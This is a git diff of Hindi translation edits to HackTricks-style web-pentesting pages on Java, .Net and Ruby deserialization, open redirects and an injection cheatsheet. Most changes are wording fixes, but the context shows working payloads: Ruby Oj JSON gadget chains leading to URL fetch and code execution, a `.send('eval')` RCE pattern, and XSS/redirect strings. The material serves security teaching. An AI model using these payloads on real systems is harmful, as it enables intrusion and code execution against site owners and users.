[https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) - gadgetinspector के बारे में वार्ता: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) और स्लाइड: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) @@ -585,12 +585,12 @@ ObjectInputFilter.Config.setSerialFilter(filter); - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- जावा और .Net JSON डीसिरियलाइजेशन **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Java और .Net JSON डीसिरियलाइजेशन **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - डीसिरियलाइजेशन CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## JNDI इंजेक्शन और log4Shell -जानें कि **JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जा सकता है और log4shell का शोषण कैसे किया जा सकता है** (और इस भेद्यता का उदाहरण) निम्नलिखित पृष्ठ में: +जानें कि **JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जा सकता है और log4shell का शोषण कैसे किया जा सकता है** (और इस कमजोरियों का उदाहरण) निम्नलिखित पृष्ठ में: {{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md @@ -598,11 +598,11 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## JMS - जावा संदेश सेवा -> **जावा संदेश सेवा** (**JMS**) API एक जावा संदेश-उन्मुख मध्यवर्ती API है जो दो या अधिक ग्राहकों के बीच संदेश भेजने के लिए है। यह उत्पादक-उपभोक्ता समस्या को संभालने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफ़ॉर्म, एंटरप्राइज संस्करण (Java EE) का एक हिस्सा है, और इसे सन माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशन द्वारा परिभाषित किया गया था, लेकिन जिसे बाद में जावा समुदाय प्रक्रिया द्वारा मार्गदर्शित किया गया है। यह एक संदेश मानक है जो जावा EE पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। यह एक वितरित अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाता है। (स्रोत [विकिपीडिया](https://en.wikipedia.org/wiki/Java_Message_Service))। +> **जावा संदेश सेवा** (**JMS**) API एक जावा संदेश-उन्मुख मिडलवेयर API है जो दो या अधिक क्लाइंट के बीच संदेश भेजने के लिए है। यह उत्पादक-उपभोक्ता समस्या को संभालने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफ़ॉर्म, एंटरप्राइज संस्करण (Java EE) का एक हिस्सा है, और इसे सन माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशन द्वारा परिभाषित किया गया था, लेकिन जिसे बाद में जावा समुदाय प्रक्रिया द्वारा मार्गदर्शित किया गया है। यह एक संदेश मानक है जो जावा EE पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। यह एक वितरित अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाता है। (स्रोत [विकिपीडिया](https://en.wikipedia.org/wiki/Java_Message_Service))। ### उत्पाद -इस मध्यवर्ती का उपयोग करके संदेश भेजने वाले कई उत्पाद हैं: +इस मिडलवेयर का उपयोग करके संदेश भेजने वाले कई उत्पाद हैं: ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>) @@ -611,11 +611,11 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### शोषण तो, मूल रूप से, **JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं**। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए **पर्याप्त विशेषाधिकार** हैं (आमतौर पर आपको मान्य क्रेडेंशियल की आवश्यकता होगी) तो आप **दुर्भावनापूर्ण वस्तुएँ भेजने में सक्षम हो सकते हैं जो उपभोक्ता/सदस्य द्वारा डीसिरियलाइज की जाएंगी**।\ -इसका मतलब है कि इस शोषण में सभी **ग्राहक जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे**। +इसका मतलब है कि इस शोषण में सभी **क्लाइंट जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे**। -आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डीसिरियलाइज कर रही है) आपको अभी भी भेद्यता का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है। +आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डीसिरियलाइज कर रही है) आपको अभी भी कमजोरियों का शोषण करने के लिए मान्य गैजेट खोजने की आवश्यकता है। -उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण वस्तुएँ भेजता है**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट्स में से कोई भी कमजोर अनुप्रयोग के अंदर हो। +उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण वस्तुएँ भेजता है**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट में से कोई भी कमजोर अनुप्रयोग के अंदर हो। ### संदर्भ @@ -624,13 +624,13 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## .Net -.Net के संदर्भ में, डीसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहाँ गैजेट्स का शोषण किया जाता है ताकि किसी वस्तु के डीसिरियलाइजेशन के दौरान विशिष्ट कोड चल सके। +.Net के संदर्भ में, डीसिरियलाइजेशन शोषण उस तरीके से काम करते हैं जो जावा में पाए जाते हैं, जहाँ गैजेट्स का उपयोग करके एक वस्तु के डीसिरियलाइजेशन के दौरान विशिष्ट कोड चलाया जाता है। ### फिंगरप्रिंट #### व्हाइटबॉक्स -स्रोत कोड की जांच की जानी चाहिए कि: +स्रोत कोड की जांच की जानी चाहिए: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` @@ -639,19 +639,19 @@ jndi-java-naming-and-directory-interface-and-log4shell.md #### ब्लैकबॉक्स -खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डीसिरियलाइज हो सकता है, जिससे डीसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त होता है। इसमें, लेकिन सीमित नहीं है, **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` है। +खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डीसिरियलाइज हो सकता है, जिससे डीसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त होता है। इसमें **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` है। ### ysoserial.net -इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं ताकि **डीसिरियलाइजेशन शोषण बनाए जा सकें**। एक बार गिट रिपॉजिटरी डाउनलोड करने के बाद, आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, विज़ुअल स्टूडियो का उपयोग करके। +इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं **डीसिरियलाइजेशन शोषण बनाने के लिए**। एक बार जब आप git रिपॉजिटरी डाउनलोड कर लेते हैं तो आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, Visual Studio का उपयोग करके। -यदि आप जानना चाहते हैं कि **ysoserial.net अपने शोषण को कैसे बनाता है** तो आप [**इस पृष्ठ की जांच कर सकते हैं जहाँ ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)। +यदि आप जानना चाहते हैं कि **ysoserial.net अपना शोषण कैसे बनाता है** तो आप [**इस पृष्ठ को देख सकते हैं जहाँ ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)। **ysoserial.net** के मुख्य विकल्प हैं: **`--gadget`**, **`--formatter`**, **`--output`** और **`--plugin`**। -- **`--gadget`** का उपयोग शोषण करने के लिए गैजेट को इंगित करने के लिए किया जाता है (उस कक्षा/कार्य को इंगित करें जिसका शोषण डीसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए किया जाएगा)। +- **`--gadget`** का उपयोग शोषण के लिए गैजेट को इंगित करने के लिए किया जाता है (उस कक्षा/कार्य को इंगित करें जिसका शोषण डीसिरियलाइजेशन के दौरान आदेशों को निष्पादित करने के लिए किया जाएगा)। - **`--formatter`**, शोषण को अनुक्रमित करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डीसिरियलाइज किया जा सके और उसी का उपयोग करके इसे अनुक्रमित किया जा सके)। -- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड रूप में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** (डिफ़ॉल्ट रूप से विंडोज़ पर उपयोग की जाने वाली एन्कोडिंग) का उपयोग करके **एन्कोड** करेगा, इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से केवल एन्कोड करते हैं, तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को सही तरीके से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_ +- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड रूप में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** का उपयोग करके **एन्कोड** करेगा (जो विंडोज़ पर डिफ़ॉल्ट रूप से उपयोग किया जाने वाला एन्कोडिंग है) इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से केवल एन्कोड करते हैं तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को सही तरीके से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड दोनों UTF-16LE और ASCII में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_ - **`--plugin`** ysoserial.net विशिष्ट ढांचों के लिए **शोषण बनाने के लिए प्लगइन्स का समर्थन करता है** जैसे ViewState #### अधिक ysoserial.net पैरामीटर @@ -705,37 +705,37 @@ TypeNameHandling = TypeNameHandling.Auto return obj; } ``` -**पिछले कोड में बनाए गए एक्सप्लॉइट के लिए कमजोरियाँ हैं**। इसलिए यदि आप किसी .Net एप्लिकेशन में कुछ समान पाते हैं, तो इसका मतलब है कि वह एप्लिकेशन भी शायद कमजोर है।\ -इसलिए **`--test`** पैरामीटर हमें यह समझने की अनुमति देता है कि **कौन से कोड के टुकड़े** deserialization एक्सप्लॉइट के लिए **ysoserial.net** द्वारा बनाए गए हैं। +In the **पिछले कोड में बनाए गए एक्सप्लॉइट के लिए संवेदनशीलता है**। इसलिए यदि आप किसी .Net एप्लिकेशन में कुछ समान पाते हैं, तो इसका मतलब है कि वह एप्लिकेशन भी संभवतः संवेदनशील है।\ +इसलिए **`--test`** पैरामीटर हमें यह समझने की अनुमति देता है कि **कौन से कोड के टुकड़े** deserialization एक्सप्लॉइट के लिए संवेदनशील हैं जो **ysoserial.net** बना सकता है। ### ViewState -[**कैसे \_\_ViewState पैरामीटर का शोषण करने की कोशिश करें**](exploiting-__viewstate-parameter.md) पर एक नज़र डालें **ताकि मनमाने कोड को निष्पादित किया जा सके।** यदि आप **पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों** को जानते हैं, तो [**कोड निष्पादित करने के लिए यह पोस्ट पढ़ें**](exploiting-__viewstate-knowing-the-secret.md)**।** +[**कैसे \_\_ViewState पैरामीटर का शोषण करने की कोशिश करें**](exploiting-__viewstate-parameter.md) को देखें **ताकि मनमाने कोड को निष्पादित किया जा सके।** यदि आप **पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों** को जानते हैं, तो [**कोड निष्पादित करने के लिए यह पोस्ट पढ़ें**](exploiting-__viewstate-knowing-the-secret.md)**।** -### रोकथाम +### Prevention .Net में deserialization से संबंधित जोखिमों को कम करने के लिए: - **डेटा स्ट्रीम को उनके ऑब्जेक्ट प्रकारों को परिभाषित करने की अनुमति देने से बचें।** जब संभव हो, `DataContractSerializer` या `XmlSerializer` का उपयोग करें। - **`JSON.Net` के लिए, `TypeNameHandling` को `None` पर सेट करें:** %%%TypeNameHandling = TypeNameHandling.None%%% -- **`JavaScriptSerializer` के साथ `JavaScriptTypeResolver` का उपयोग करने से बचें।** -- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की विशेषताओं को संशोधित कर सकता है, जिससे सेवा से इनकार के हमले हो सकते हैं। -- **जोखिम भरे गुणों वाले प्रकारों के साथ सतर्क रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` इसके `Value` गुण के साथ, जिसका शोषण किया जा सकता है। -- **प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें** ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे `DataContractSerializer` या `XmlSerializer` भी कमजोर हो जाएं। +- **`JavaScriptSerializer` का उपयोग `JavaScriptTypeResolver` के साथ करने से बचें।** +- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के साथ अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की संपत्तियों को संशोधित कर सकता है, जिससे सेवा से इनकार के हमले हो सकते हैं। +- **खतरनाक गुणों वाले प्रकारों के साथ सतर्क रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` इसके `Value` गुण के साथ, जिसका शोषण किया जा सकता है। +- **प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें** ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे `DataContractSerializer` या `XmlSerializer` भी संवेदनशील हो जाएं। - **`BinaryFormatter` और `JSON.Net` के लिए एक कस्टम `SerializationBinder` का उपयोग करके श्वेत सूची नियंत्रण लागू करें।** - **.Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें** और सुनिश्चित करें कि deserializers ऐसे प्रकारों का निर्माण न करें। -- **संभावित जोखिम भरे कोड को** इंटरनेट एक्सेस वाले कोड से अलग करें ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में `System.Windows.Data.ObjectDataProvider`, को अविश्वसनीय डेटा स्रोतों के लिए उजागर करने से बचा जा सके। +- **संभावित रूप से जोखिम भरे कोड को** इंटरनेट एक्सेस वाले कोड से अलग करें ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में `System.Windows.Data.ObjectDataProvider`, को अविश्वसनीय डेटा स्रोतों के लिए उजागर करने से बचा जा सके। -### **संदर्भ** +### **References** -- Java और .Net JSON deserialization **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Java और .Net JSON deserialization **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** टॉक: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** -Ruby में, serialization **marshal** पुस्तकालय के भीतर दो विधियों द्वारा सुगम बनाया गया है। पहली विधि, जिसे **dump** कहा जाता है, का उपयोग एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए किया जाता है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, **load**, का उपयोग बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में बदलने के लिए किया जाता है, जिसे deserialization कहा जाता है। +Ruby में, serialization **marshal** पुस्तकालय के भीतर दो विधियों द्वारा सुगम बनाया गया है। पहली विधि, जिसे **dump** के रूप में जाना जाता है, एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए उपयोग की जाती है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, **load**, एक बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में परिवर्तित करने के लिए उपयोग की जाती है, जिसे deserialization कहा जाता है। सिरियलाइज्ड ऑब्जेक्ट्स को सुरक्षित करने के लिए, **Ruby HMAC (Hash-Based Message Authentication Code)** का उपयोग करता है, जो डेटा की अखंडता और प्रामाणिकता सुनिश्चित करता है। इस उद्देश्य के लिए उपयोग की जाने वाली कुंजी कई संभावित स्थानों में से एक में संग्रहीत होती है: @@ -825,8 +825,8 @@ puts Base64.encode64(payload) ```ruby .send('eval', '') == RCE ``` -इसके अलावा, यदि केवल एक पैरामीटर **`.send()`** पर हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे **आर्गुमेंट्स की आवश्यकता नहीं है** या जिनके आर्गुमेंट्स के **डिफ़ॉल्ट मान** हैं।\ -इसके लिए, ऑब्जेक्ट के सभी मेथड्स को **उन आवश्यकताओं को पूरा करने वाले कुछ दिलचस्प मेथड्स खोजने के लिए एन्यूमरेट करना संभव है**। +इसके अलावा, यदि **`.send()`** का केवल एक पैरामीटर हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे **आर्गुमेंट्स की आवश्यकता नहीं है** या जिनके आर्गुमेंट्स के **डिफ़ॉल्ट मान** हैं।\ +इसके लिए, ऑब्जेक्ट के सभी मेथड्स को **गिनना संभव है ताकि उन आवश्यकताओं को पूरा करने वाले कुछ दिलचस्प मेथड्स को पाया जा सके**। ```ruby .send('') @@ -854,7 +854,7 @@ candidate_methods.length() # Final number of methods=> 3595 ### Ruby _json pollution -जब शरीर में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, उन्हें `_json` नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए शरीर में `_json` नामक एक मान सेट करना भी संभव है जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर `_json` पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है। +जब किसी बॉडी में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, तो उन्हें `_json` नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए बॉडी में `_json` नामक एक मान सेट करना भी संभव है जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर `_json` पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है। अधिक जानकारी के लिए [Ruby _json pollution पृष्ठ](ruby-_json-pollution.md) पर जांचें। @@ -862,7 +862,7 @@ candidate_methods.length() # Final number of methods=> 3595 यह तकनीक [**इस ब्लॉग पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) से ली गई थी। -अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के भीतर जब भी इसे अनसीरियलाइज़ किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य): +अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के अनसीरियलाइज होने पर कॉल किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
LibraryInput dataKick-off method inside class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))
@@ -888,7 +888,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -Oj का दुरुपयोग करने की कोशिश के मामले में, एक गैजेट क्लास मिलना संभव था जो इसके `hash` फ़ंक्शन के अंदर `to_s` को कॉल करेगा, जो spec को कॉल करेगा, जो fetch_path को कॉल करेगा, जिससे इसे एक यादृच्छिक URL लाने के लिए बनाया जा सकता था, जो इन प्रकार की अस्वच्छ deserialization कमजोरियों का एक बड़ा डिटेक्टर प्रदान करता है। +Oj का दुरुपयोग करने की कोशिश के मामले में, एक गैजेट क्लास मिलना संभव था जो अपने `hash` फ़ंक्शन के अंदर `to_s` को कॉल करेगा, जो spec को कॉल करेगा, जो fetch_path को कॉल करेगा, जिससे इसे एक यादृच्छिक URL लाने के लिए बनाया जा सकता था, जो इन प्रकार की अस्वच्छ डेसिरियलाइजेशन कमजोरियों का एक बड़ा डिटेक्टर प्रदान करता है। ```json { "^o": "URI::HTTP", @@ -900,7 +900,7 @@ Oj का दुरुपयोग करने की कोशिश के "password": "anypw" } ``` -इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो किसी अन्य गैजेट का दुरुपयोग करने की आवश्यकता है ताकि इसे कुछ इस तरह के पूर्ण RCE में परिवर्तित किया जा सके: +इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो एक अन्य गैजेट का दुरुपयोग करने की आवश्यकता है ताकि इसे कुछ इस तरह से पूर्ण RCE में परिवर्तित किया जा सके: ```json { "^o": "Gem::Resolver::SpecSpecification", @@ -922,6 +922,6 @@ Oj का दुरुपयोग करने की कोशिश के } } ``` -अधिक जानकारी के लिए [**मूल पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) पर जाएं। +ज्यादा जानकारी के लिए [**मूल पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) पर जाएं। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 4156bd0d0..b7ba7d054 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29 ";alert(0);// ``` ## Open Redirect svg फ़ाइलें अपलोड करना -```markup +```html [!WARNING] > यह **cheatsheet प्रत्येक कमजोरी के लिए परीक्षणों की एक व्यापक सूची का प्रस्ताव नहीं करती है**, केवल कुछ बुनियादी। यदि आप अधिक व्यापक परीक्षणों की तलाश कर रहे हैं, तो प्रस्तावित प्रत्येक कमजोरी तक पहुँचें। > [!CAUTION] -> आप **XXE जैसी सामग्री-प्रकार पर निर्भर इंजेक्शन नहीं पाएंगे**, क्योंकि आमतौर पर आप उन्हें स्वयं आजमाएंगे यदि आप xml डेटा भेजने वाला अनुरोध पाते हैं। आप यहाँ **डेटाबेस इंजेक्शन** भी नहीं पाएंगे क्योंकि भले ही कुछ सामग्री परिलक्षित हो सकती है, यह बैकएंड DB प्रौद्योगिकी और संरचना पर बहुत निर्भर करता है। +> आप **Content-Type निर्भर इंजेक्शन जैसे XXE** नहीं पाएंगे, क्योंकि आमतौर पर आप उन्हें स्वयं आजमाएंगे यदि आप xml डेटा भेजने वाला अनुरोध पाते हैं। आप यहाँ **डेटाबेस इंजेक्शन** भी नहीं पाएंगे क्योंकि भले ही कुछ सामग्री परिलक्षित हो सकती है, यह बैकएंड DB प्रौद्योगिकी और संरचना पर बहुत निर्भर करता है। ## Polygloths list ```python @@ -52,7 +52,7 @@ javascript:"/*'/*`/*-->

THIS IS AND INJECTED TITLE

